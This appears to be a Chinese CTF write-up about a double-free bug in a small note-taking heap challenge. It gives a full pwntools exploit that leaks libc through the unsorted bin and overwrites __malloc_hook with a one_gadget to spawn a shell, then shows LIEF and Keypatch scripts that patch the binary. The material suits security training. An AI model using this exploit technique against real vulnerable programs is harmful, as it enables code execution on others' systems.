从一道简单fast_bin利用题,分析当前fast_bin attack的本质思想就是通过一系列的绕过check与伪造fast_bin freed chunk fd指针内容获得(malloc)一块指向目标内存的指针引用,如got表、__malloc_hook
、__free_hook
等引用,即可对其原来的函数指针进行改写,如改写为 __free_hook
为某处one_gadget地址,即可对目标程序流程进行控制,拿下shel;并以此题目介绍当前常用的三种patch手法:增加segment,修改section如 .eh_frame
,IDA keypatch。断断续续入门pwn也有一段时间了,写下此文记录一段时间来的学习,供其他一路在学习的同志参考。
相关题目、源码、exp和patch脚本已经放在github上可以自行下载参考练习。此处感谢sunichi师傅在patch一些技巧的指导。
源码vul.c经过gcc默认编译成64位binary,检查开启的安全保护机制:
位置相关代码且开始Canary,NX保护,注意到Partial RELRO(Reloaction Read Only),表示可以可以覆写got表。进一步分析程序的执行流程:
典型的glibc heap的题目,表示我们可以操作内存块。分析add_note,delete_note,show_note的函数执行逻辑,只在delete_note处发现存在Double Free的漏洞
而程序的add_note只是简单的读入size个字符到分配的size大小的chunk,show_note把它以字符串形式打印出来
add_note:
show_note:
不存在UAF的漏洞,但由于存在Double Free,同样可以通过利用fast bin attack分配到一块指向got表项或者 __malloc_hook
或者 __free_hook
,修改其指针指向一个开shell(vul_func)的函数,即可达到控制程序流程的目的。此处选择覆盖 __malloc_hook
进行利用,因为在每次调用malloc时候都会检查该函数是否被设置(大佬忽略),有关ptmalloc2内存分配的过程步骤详情参阅CTF wiki,在这里知道若覆盖了 __malloc_hook
这些函数,在调用该函数即调用了我们定义的函数,执行shellcode。
此处可以利用one_gadget或者ROP技术,选择one_gadget方便快捷,但有一些条件的限制,要寻得满足前提下的one_gadget地址(不同机器可能有所不同,exp里面的地址可能需要手动调整,我的机器为Ubuntu16.04LTS),在这里one_gadget可以这样理解:libc库给上层诸如IO函数提供支持,存在system("/bin/sh")执行返回结果,当然这样的代码对我们不可见,因其存在一个API函数内部的某一过程,但通过插件可以找到该语句的偏移与执行的前提条件,这就是one_gadget的原理。
要知道利用one_gadget工具查找libc的one_gadget只是一个偏移量,要想对 __malloc_hook
函数进行覆写为调用该one_gadget,要寻得此时libc加载到内存的基址,shellcode的地址即为:libc_base + offset。
要泄露libc的地址,知道全局变量main_arena(记录此时进程的heap状况)为binary的动态加载的libc.so中.bss段中一个全局结构体,在内存映射中,偏移量是固定的,所以只需知道该main_arena此刻在内存地址和main_arena变量相对与libc.so中的偏移量即可计算libc基址:
libc_base = main_arena - main_arena_offset
对于linux的内存管理器,在使用free()进行内存释放时候,不大于max_fast(默认是64B)的chunk进行释放的时候会被放入fast_bin中,采用单链表进行组织,在下一次分配的采用LIFO的分配策略。而大于max_fast则被放入unsorted_bin,采用双向链表进行组织。当fast_bin为空的时候,大于max_fast的内存块释放时会填入fd,bk并且都指向main_arena结构体中的top_chunk。再次分配内存的时候并不会清空bk,fd的内容,通过show_note即可获得main_arena中top_chunk对于libc加载基址的偏移量。
# leak libc_base_address add(0x500,'a') # 0 add(0x10,'a') # 1 free(0) add(0x500,'a') # 2 gdb.attach() show(2) main_arena = p.recv(6).ljust(8,'\x00') libc.address = u64(main_arena)-0x3c4b61 # 0x3c4b61位偏移量 61是因为填充了‘a’,0x61=a,小端序
对于有符号的libc-dbg(如我在Ubuntu中装有带debug符号版本的libc-2.23.so),可以直接在gdb中获取到该偏移量
因为unsorted_bin中填入fd、bk的是top_chunk的地址(在代码第7行进入gdb调试可以看到内存分布)
在free(0)后再次申请获得该内存add(0x500,'a')中进程中heap的状况:
在第一次add(0x500,'a')的时候再次add(0x10,'a')是为了让idx=0的chunk与top_chunk隔离,在free(0)没有与top_chunk合并,而是加入unsorted_bin,填入指向main_arena的fd、bk指针,使得再次add(0x500,'a')的时候可以获得libc的一个地址。
对于0x1dc7000的chunk,在经过释放再次申请时chunk中data:
可以看到unsorted_bin中chunk的bk是指向了main_arena的top_chunk域中,但此处fd != bk这是为什么?
因为是add(0x500,'a')再次从unsorted_bin中获得该chunk,Linux下小端序表示数,填入的'a'填充了fd的低一字节内容(即0x78 被 替换为 0x61),但这并不影响libc基址的计算:多次加载的libc中,偏移量不变,在gdb中获得某一次关于top_chunk指针域地址对于加载的libc的偏移量offset即可在以后泄露出top_chunk指针域地址ptr,这次加载的libc_base_address = ptr - offset即可计算。
由于此处的ptr被写入的‘a’占去低位字节,此处的计算得来的offset也通过‘a’ = 0x61占位即可:
fd域内存小端序表示:
offset = 0x7f2d234bdb78 - 0x0x7f2d230f9000 = 0x3c4B78
用0x61占低位字节:offset = 0x3c4B61
即此题通过show_note(2)计算libc_base 地址:
show(2) main_arena = p.recv(6).ljust(8,'\x00') # 只能接收fd的前6字节,00截断了 libc.address = u64(main_arena)-0x3c4b61
对于无debug符号的libc则可以通过IDA静态分析该libc.so获取到该偏移量:
如利用malloc_trim函数中:
dword_3C4B820即为main_arena结构体对应与libc加载基址的偏移量。
相关源码可以确定:
int __malloc_trim (size_t s) { int result = 0; if (__malloc_initialized < 0) ptmalloc_init (); mstate ar_ptr = &main_arena; do { __libc_lock_lock (ar_ptr->mutex); result |= mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr->mutex); ar_ptr = ar_ptr->next; } while (ar_ptr != &main_arena); return result; }
要想对 _malloc_hook
进行覆写,首先要获得该地址处的指针引用(这也是glibc heap exploit的一个思想,通过各种利用技巧获得对目标地址的一个引用,进而修改内存中内容)。对于fast_bin中,释放小于max_fast的chunk都将采用单向链表插入到fast_bin进行管理,即通过fd指针指向下一块的内存地址,在malloc中,fast_bin中满足大小的chunk将优先得到分配。
题目存在double free漏洞,即可以在一个fast_bin单链中存在两处某一chunk的引用。第一次获得该chunk后可以通过覆写fd域内容为一个地址指针(fake fast_bin chunk),在后面存在该chunk的引用由于fd修改,该地址被加入到该大小的fast_bin链表中。即经若干次malloc该大小的fast_bin,可以获得该目标地址的引用。如图所示,fast_bin attack的利用流程,即时没有UAF,也可以通过Double Free分配到一个目标地址进行覆写:
值得注意的是,fast_bin 在分配的时候加入了检查:
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))//搜索fast_bin { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp = *fb; do { victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim); if (victim != 0) { if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))//fast_bin中的victim(选中的chunk)的size检查 { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; } check_remalloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
若bin中的chunk的size域不满足bin的索引关系会报错:这给我们不能随意构造chunk都可以满足。要对目标地址进行小小改动,绕过此处的检查。
要想通过fast_bin获得 对 __malloc_hook
地址处的引用,可以看其附近的内存信息,从中找出满足size要求的chunk构造
通过gdb可以查看到 __malloc_hook
的地址与及附近的内存信息(带debug符号信息的libc)
查看进程max_fast的最大分配内存:
由于 fastbin_index (chunksize (victim)) != idx
只会检查 chunk中size字段的最后一字节(且后4位也只是作为标志位也不校检)作为大小校验:
小端序表示的数:即最低位的一字节为size大小。 __malloc_ptr
-0x10 -3地址引用的chunk中size可以通过0x70的校验。0x70 < 0x80在fast_bin的管理范围内。所以通过连续分配0x68的大小的chunk可以伪造如利用图示的bin链表:
# double free add(0x68,'a') # 3 add(0x68,'a') # 4 free(3) free(4) free(3) print "__malloc_hook address:",hex(libc.symbols['__malloc_hook']) add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存 add(0x68,'a') add(0x68,'a') # 露出伪造到libc的地址,即最后一块fake fast_bin chunk(目标地址) one_gadget = 0xf02a4 add(0x68,'y'*3+p64(libc.address + one_gadget)) # 覆写 __malloc_hook函数指针为one_gadget
之所以要
是因为glibc在free的时候加入对fast_bin的检查:(只检查fast_bin头部与待free的chunk不同即可)
/* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; }
由3.1知道,one_gadget找到的地址有很多,要选用哪个这是经过调试选择满足条件的gadget地址:(所以利用one_gadget有一定的限制,此处为了方便没有采用ROP技术)
找到即将调用one_gadget处的上下文环境:
在rsp+0x50处找到满足条件的one_gadget地址:libc_base + 0xf02a4
通过上述过程,__malloc_hook
处已经不为0了,被修改为了gadget处的地址,即再一次add_note调用malloc将进入 __malloc_hook
执行one_gadget,即开shell。
完整exp:
#!/usr/bin/python # coding:utf-8 from pwn import * p = process("./vul") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(size,data): p.sendafter("choice:","1") p.sendafter("size:",str(size)) p.sendafter("write:",data) def free(idx): p.sendafter("choice:","2") p.sendafter("index:",str(idx)) def show(idx): p.sendafter("choice:","3") p.sendafter("index:",str(idx)) # leak libc base address add(0x500,'a') # 0 add(0x10,'a') # 1 free(0) add(0x500,'a') # 2 show(2) main_arena = p.recv(6).ljust(8,'\x00') libc.address = u64(main_arena)-0x3c4b61 # leak 到 libc的基址 0x61 = a # double free add(0x68,'a') # 3 add(0x68,'a') # 4 free(3) free(4) free(3) print "__malloc_hook address:",hex(libc.symbols['__malloc_hook']) add(0x68,p64(libc.symbols['__malloc_hook']-0x10-3)) # 伪造fake chunk(fast_bin) 分配到libc的内存 add(0x68,'a') add(0x68,'a') # 露出伪造到libc的地址,即最后一块fake fast_bin chunk(目标地址) one_gadget = 0xf02a4 add(0x68,'y'*3+p64(libc.address + one_gadget)) p.interactive()
此处漏洞的成因在与存在一个Double Free的漏洞,使得同一块内存可以在fast_bin中存在两次的单链,使得可以构造一个fake_fast_bin_chunk(目标内存地址),通过fast_bin的内存分配过程获得该内存的指针引用,对其内容(__malloc_hook
)进行覆写,达到控制程序流程。
所以要对vul进行patch修复,要在free()后对全局指针引用置零。
当然比赛中我们是没有获取到源码的,要在原binary对程序进行打patch,要知道对binary某函数处想要添加一句代码,不是单纯的“添加”,此处详细介绍当前AWD下对bianry的patch手法:包括利用call的函数hook,jmp的函数跳转,利用LIEF编程与使用IDA神器插件Keypatch,各有各有点,请斟酌服用。
要想在原binary的delete_note函数增加对note[idx] = 0的语句:用A&T语法表示
/*重新获取idx*/ "mov -0x4(%rbp),%eax\n" "cdqe\n" /* ptr = NULL,段寄存器不能传立即数*/ "mov $0x0,%ecx\n" "mov %ecx,0x6020e0(,%rax,8)\n" /*ds:note[idx]*/
lief可以将一个bianry内的机器代码写进另外一个binary中,在patch中通常表现为:
对函数内容逻辑的修改(hook)可以通过:
对整个函数进行hook修改要实现内部大部分的原来的逻辑,像要对该fast_bin的patch,要在free()后增加一句置0的操作,采用call进行hook就要重新实现delete_note的逻辑,并增加置零的语句;而通过jmp方式只需在某处跳转到如写入.eh_frame段中代码,只需增加少部分代码即可实现,但对于call的hook在patch off-by-one漏洞就可以在hook整个函数的时候,修改传入的size大小,再次调用原来的函数,也可以是少量的代码。
编写hook函数:
首先要编写我们的hook函数,通常是手写汇编代码,指令格式为A&T指令格式,静态编译为一个位置无关代码二进制文件:
组合起来的编译gcc命令:
gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook
其中hook.c是我们自己手写的A&T指令格式的汇编代码文件
void my_delete_note(){ asm( "sub $0x10,%rsp\n" "mov $0x400c87,%edi\n" "mov $0x0,%eax\n" /*call printf*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "mov $0x0,%eax\n" /*call read_int*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" /* save idx to [rbp-4]*/ "mov %eax,-0x4(%rbp)\n" /* load idx from [rbp-4]*/ "mov -0x4(%rbp),%eax\n" "cdqe\n" /* load ptr from ds:note[rax*8]*/ "mov 0x6020e0(,%rax,8),%rax\n" "test %rax,%rax\n" /*jmp short print nosuchnote*/ /* 0x2d2-2 此处偏移量可以通过 objdump -d hook可以查看到*/ "nop\n" "nop\n" /*end jmp*/ "mov -0x4(%rbp),%eax\n" "cdqe\n" "mov 0x6020e0(,%rax,8),%rdi\n" /*call free*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" /* call后rax发生变化,重新load idx */ "mov -0x4(%rbp),%eax\n" "cdqe\n" /* ptr = NULL,段寄存器不能传立即数,此处为 note[idx] = 0的汇编*/ "mov $0x0,%ecx\n" "mov %ecx,0x6020e0(,%rax,8)\n" /*end*/ /*jmp end delete_func*/ /* 0x2dc-2*/ "nop\n" "nop\n" /*print nosuchnote*/ "mov $0x400C8E,%edi\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" /*end delete_func*/ //有函数的调用要自己处理栈平衡 "add $0x10,%rsp\n" ); }
关于A&T指令格式的hook代码文件的编写注意点
对于把hook的函数作为一个新段添加到题目bianary中,写成一个函数的形式,asm()里面控制栈平衡。
对于要发生指令跳转,函数调用的地方,如此处的jmp xx,call free等,因为没有能够确定目标的地址,先用nop进行占位,因为对于call func的机器指令长度我们是可以知道的(通常是5 bytes E8 xx xx xx xx)且函数调用的地址计算采用相对地址寻址的补码形式,而对于jmp,存在近跳转、短跳转、远跳转的区别,指令的长度也不一样。详细
对于A&T指令格式,常用的是mov指令格式和寻址方式,如此处对于mov ds:note[rax*8],rax:
对于段寻址:不能直接数传给段寄存器
更多关于A&T指令格式注意点在用到去查阅。
对binary进行patch:
import lief from pwn import * def patch_jmp(file,op,srcaddr,dstaddr,arch="amd64"): length = (dstaddr-srcaddr-2) # 近掉跳转的patch print hex(length) order = chr(op)+chr(length) print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) # 对指定地址写入代码 def patch_call(file,srcaddr,dstaddr,arch="amd64"): length = p32((dstaddr-srcaddr-5)&0xffffffff) order = "\xe8"+length print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) # add hook's patched func to binary as a new segment binary = lief.parse("./vul") hook = lief.parse("./hook") print hook.get_section(".text").content print hook.segments[0].content segment_added = binary.add(hook.segments[0]) hook_fun = hook.get_symbol("my_delete_note") print hex(segment_added.virtual_address) print hex(hook_fun.value) # hook call delete_note dstaddr = segment_added.virtual_address + hook_fun.value srcaddr = 0x400B9A patch_call(binary,srcaddr,dstaddr) # patch print_inputidx dstaddr = 0x400760 srcaddr = segment_added.virtual_address + 0x2f2 # 该数字为hook函数中nop填充的偏移量 patch_call(binary,srcaddr,dstaddr) # patch call read_int dstaddr = 0x4008d6 srcaddr = segment_added.virtual_address +0x2fc patch_call(binary,srcaddr,dstaddr) # patch call free dstaddr = 0x400710 srcaddr = segment_added.virtual_address + 0x323 patch_call(binary,srcaddr,dstaddr) # patch call puts dstaddr = 0x400740 srcaddr = segment_added.virtual_address + 0x340 patch_call(binary,srcaddr,dstaddr) # patch jz printnosuchnote short jmp dstaddr = segment_added.virtual_address+0x33b srcaddr = segment_added.virtual_address+0x314 patch_jmp(binary,0x74,srcaddr,dstaddr) # patch jmp end_func srcaddr = segment_added.virtual_address + 0x339 dstaddr = segment_added.virtual_address + 0x345 patch_jmp(binary,0xeb,srcaddr,dstaddr) binary.write("patch_add_segment")
从上面从编写hook函数到指令地址修改,对整个delete_note函数实现的工作量是相对比较大:
可以看到vul程序从原来调用delete_note的函数到调用一个新段的函数sub_8032E0
而sub_8032E0的实现逻辑
添加了对指针noet[idx] = 0(free 后指针置0)的操作,修补了fast_bin attack:
可以看到通过增加段的操作原binary大小增加了很多
在4.1.1中通过增加段的形式插入自己实现的hook函数my_delete_note,添加对free(note[idx])的指针置0操作,可以看见对原程序的大小增加很大,某些比赛可能不能过check,此处通过把hook函数写入原binary的.eh_frame段中,即可在不增加程序大小的前提下实现对原delete_note函数进行hook修改,增加指针置零操作。
编写函数
asm( "push %rbp\n" "mov %rsp,%rbp\n" "sub $0x10,%rsp\n" "mov $0x400c87,%edi\n" "mov $0x0,%eax\n" /*call printf*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "mov $0x0,%eax\n" /*call read_int*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" /* save idx to [rbp-4]*/ "mov %eax,-0x4(%rbp)\n" /* load idx from [rbp-4]*/ "mov -0x4(%rbp),%eax\n" "cdqe\n" /* load ptr from ds:note[rax*8]*/ "mov 0x6020e0(,%rax,8),%rax\n" "test %rax,%rax\n" /*jmp short print nosuchnote*/ /* 0x2d2-0x2ad-2 */ "nop\n" "nop\n" /*end jmp*/ "mov -0x4(%rbp),%eax\n" "cdqe\n" "mov 0x6020e0(,%rax,8),%rdi\n" /*call free*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" //在函数调换之后所有寄存器可能已经改变(程序流程不可靠,所以要重新计算) "mov -0x4(%rbp),%eax\n" "cdqe\n" /* ptr = NULL,段寄存器不能传立即数*/ "mov $0x0,%ecx\n" "mov %ecx,0x6020e0(,%rax,8)\n" /*end*/ /*jmp end delete_func*/ /* 0x2dc-0x2d0-2*/ "nop\n" "nop\n" /*print nosuchnote*/ "mov $0x400C8E,%edi\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" /*end delete_func*/ "leave\n" "ret\n" );
静态编译:
gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook
LIEF脚本patch
import lief from pwn import * def patch_jmp(file,op,srcaddr,dstaddr,arch="amd64"): length = (dstaddr-srcaddr-2) print hex(length) order = chr(op)+chr(length) print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) def patch_call(file,srcaddr,dstaddr,arch="amd64"): length = p32((dstaddr-srcaddr-5)&0xffffffff) order = "\xe8"+length print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) # add hook's patched func to binary as a new segment binary = lief.parse("./vul") hook = lief.parse("./hook") hook_func_base = 0x279 hook_sec = hook.get_section(".text") bin_eh_frame = binary.get_section(".eh_frame") print hook_sec.content print bin_eh_frame.content bin_eh_frame.content = hook_sec.content print bin_eh_frame.content # hook call delete_note dstaddr = bin_eh_frame.virtual_address srcaddr = 0x400B9A patch_call(binary,srcaddr,dstaddr) # patch print_inputidx dstaddr = 0x400760 srcaddr = bin_eh_frame.virtual_address + (0x28b-hook_func_base) patch_call(binary,srcaddr,dstaddr) # patch call read_int dstaddr = 0x4008d6 srcaddr = bin_eh_frame.virtual_address +(0x295-hook_func_base) patch_call(binary,srcaddr,dstaddr) # patch call free dstaddr = 0x400710 srcaddr = bin_eh_frame.virtual_address + (0x2bc-hook_func_base) patch_call(binary,srcaddr,dstaddr) # patch call puts dstaddr = 0x400740 srcaddr = bin_eh_frame.virtual_address + (0x2d9-hook_func_base) patch_call(binary,srcaddr,dstaddr) # patch jz printnosuchnote short jz dstaddr = bin_eh_frame.virtual_address+(0x2d4-hook_func_base) srcaddr = bin_eh_frame.virtual_address+(0x2ad -hook_func_base) patch_jmp(binary,0x74,srcaddr,dstaddr) # patch jmp end_func srcaddr = bin_eh_frame.virtual_address + (0x2d2-hook_func_base) dstaddr = bin_eh_frame.virtual_address + (0x2de-hook_func_base) patch_jmp(binary,0xeb,srcaddr,dstaddr) binary.write("patch_md_ehframe")
patch的效果:
delete_note函数被hook修改调用为eh_frame处的sub_400D70
sub_400D70的实现
patch前后的程序大小:
同样是增加一个函数,大小没有发生变化,因为代码都写入了原binary的.eh_frame段了。
对于exp的抵御:
上面的方法都是通过对整个函数逻辑进行重写,为的就是添加一句free后的指针置零操作,工作量太大。patch中jmp的方式实现函数逻辑的添加更为方便简单。对需要添加逻辑的部分,在原程序中合适位置中jmp 跳转到 修改的.eh_frame处,执行完毕后(指针置零)再次jmp跳转到原成功的逻辑。此处涉及到jmp的跨段的长跳转,寻址方式与call的计算一样。
编写hook逻辑
asm( "mov -4(%rbp),%eax\n" "cdqe\n" "mov 0x6020e0(,%rax,8),%rax\n" "test %rax,%rax\n" /*jz puts nosuchnote */ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "mov -4(%rbp),%eax\n" "cdqe\n" "mov 0x6020e0(,%rax,8),%rdi\n" /*call free*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "mov $0x0,%ecx\n" "mov -4(%rbp),%eax\n" "cdqe\n" "mov %ecx,0x6020e0(,%rax,8)\n" /*jmp back to end*/ "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" );
可以看到实现的只是其中的一部分内容,工作量减少:
在原来调用if-else的判断逻辑处进行跳转,loc400D70是我们上述汇编实现的if-else判断处理,增加了对free后的指针置零操作,原本的if-else逻辑被弃用。
LIEF脚本patch地址
import lief from pwn import * def patch_jmp(file,srcaddr,dstaddr,arch="amd64"): length = p32((dstaddr-srcaddr-5)&0xffffffff) # long jmp address calc print length order = "\xe9"+length print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) def patch_jz(file,srcaddr,dstaddr,arch="amd64"): length = p32((dstaddr-srcaddr-6)&0xffffffff) order = "\x0f\x84"+length print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) def patch_call(file,srcaddr,dstaddr,arch="amd64"): length = p32((dstaddr-srcaddr-5)&0xffffffff) order = "\xe8"+length print disasm(order,arch=arch) file.patch_address(srcaddr,[ord(i) for i in order]) # add hook's patched func to binary as a new segment binary = lief.parse("./vul") hook = lief.parse("./hook") hook_func_base = 0x279 hook_sec = hook.get_section(".text") bin_eh_frame = binary.get_section(".eh_frame") print hook_sec.content print bin_eh_frame.content bin_eh_frame.content = hook_sec.content print bin_eh_frame.content # hook delete_note to eh_frame dstaddr = bin_eh_frame.virtual_address srcaddr = 0x400A15 patch_jmp(binary,srcaddr,dstaddr) # patch jz put_nosuchnote dstaddr = 0x400A3E srcaddr = bin_eh_frame.virtual_address + (0x289-hook_func_base) patch_jz(binary,srcaddr,dstaddr) # patch call free dstaddr = 0x400710 srcaddr = bin_eh_frame.virtual_address + (0x29c-hook_func_base) patch_call(binary,srcaddr,dstaddr) # patch jmp back to delete_note end dstaddr = 0x400A48 srcaddr = bin_eh_frame.virtual_address + (0x2b2 - hook_func_base) patch_jmp(binary,srcaddr,dstaddr) binary.write("patch_jmp_ehframe")
patch的效果:
main函数主循环中的delete_note调用没有hook,但是delete_note里面的逻辑已经发生改变
增加了free后指针置0操作
对fast_bin attach的防御:
上面都是通过编程的手段对binary进行patch,不方便之处就是处理两个binary间的指令跳转的地址计算,通过lief提供的API函数获得加载基址与计算的偏移量,对脚本的nop占位进行修改,人工计算汇编间地址比较多,如ds:note[rax*8]的计算等。一种方便的快速patch手段是使用IDA的第三方插件Keypatch,可以省去这些binary内部符号的地址计算与编写脚本的工作,直接写汇编进keypatch,它会自动编码成二进制指令并插入到指定地方。官方文档
支持的修改:
通过上面的分析,采用jmp跳转到.eh_frame进行指针置零操作的if-else逻辑处理,此处采用Intel指令格式的汇编。要注意的是,拖keypatch中不能编码汇编指令为二进制机器指令时候要考虑:
利用keypatch对vul中double free进行修改:
写入增加free后指针置零的if-else逻辑到.eh_frame,使用fill range:
mov eax, [rbp-4]; cdqe; mov rax, ds:note[rax*8]; test rax,rax; jz 0x400A3E; //keypatch 在跳转(jmp、call)采用十六进制地址进行(否则无法编码) mov eax, [rbp-4]; cdqe; mov rax, ds:note[rax*8]; mov rdi,rax; call 0x400710;//call _free mov eax, [rbp-4];cdqe; mov rcx,0; mov ds:note[rax*8],rcx;//关于mov寻址操作约定:段地址不能直接赋予立即数 jmp 0x400A48 ;多条汇编指令间用;隔开成一行
先随便选取.eh_frame一段范围,写入汇编
可以看到采用Intel语法,成功Encode后的size为68 bytes,若不能成功Encode所写的汇编代码,则检查上述可能出现的语法错误。增大选中的大小写入。